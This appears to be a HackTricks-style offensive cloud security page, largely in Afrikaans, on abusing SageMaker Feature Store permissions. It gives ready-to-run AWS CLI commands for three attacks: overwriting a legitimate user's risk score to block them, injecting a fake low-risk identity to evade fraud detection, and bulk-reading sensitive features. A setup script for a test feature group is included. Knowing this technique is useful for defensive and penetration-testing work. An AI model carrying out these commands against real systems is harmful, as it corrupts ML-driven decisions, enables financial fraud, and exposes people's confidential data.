# SageMaker Feature Store online store poisoning

{{#include ../../../../banners/hacktricks-training.md}}

Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore geaktiveer om lewendige feature-waardes wat deur online inference verbruik word, te oorskryf. In kombinasie met `sagemaker:GetRecord` kan 'n aanvaller sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie.

## Requirements
- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Target: Feature Group with OnlineStore enabled (gewoonlik vir real-time inference)
- Complexity: **LOW** - Eenvoudige AWS CLI-opdragte, geen modelmanipulasie benodig nie

## Steps

### Reconnaissance

1) Lys Feature Groups met OnlineStore geaktiveer
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) Beskryf die teiken Feature Group om sy skema te verstaan
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Let op die `RecordIdentifierFeatureName`, `EventTimeFeatureName`, en alle feature-definisies. Dit is nodig om geldige rekords te skep.

### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)

1) Lees die huidige legitieme rekord
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) Poison the record met kwaadwillige waardes deur die inline `--record` parameter te gebruik
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
```
3) Verifieer die poisoned data
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Impak**: ML-modelle wat hierdie kenmerk gebruik, sal nou `risk_score=0.99` vir 'n legitieme gebruiker sien, wat moontlik hul transaksies of dienste sal blokkeer.

### Aanvalsscenario 2: Kwaadaardige datainspuiting (Skep bedrieglike rekords)

Inspuit heeltemal nuwe rekords met gemanipuleerde kenmerke om sekuriteitskontroles te omseil:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore
```
Verifieer die injection:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Impak**: Aanvaller skep 'n vals identiteit met 'n lae risikotelling (0.01) wat hoë-waarde bedrieglike transaksies kan uitvoer sonder om fraude-opsporing te aktiveer.

### Aanvalsscenario 3: Eksfiltrasie van sensitiewe data

Lees verskeie rekords om vertroulike kenmerke te onttrek en die model se gedrag te profiel:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done
```
**Impak**: Vertroulike kenmerke (risikoscores, transaksiepatrone, persoonlike data) blootgestel aan 'n aanvaller.

### Toets/Demo Feature Group Aanmaak (Opsioneel)

As jy 'n toets Feature Group moet aanmaak:
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)

aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"

echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi

echo "Feature Group ready: $FG"
```
## Verwysings
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
{{#include ../../../../banners/hacktricks-training.md}}
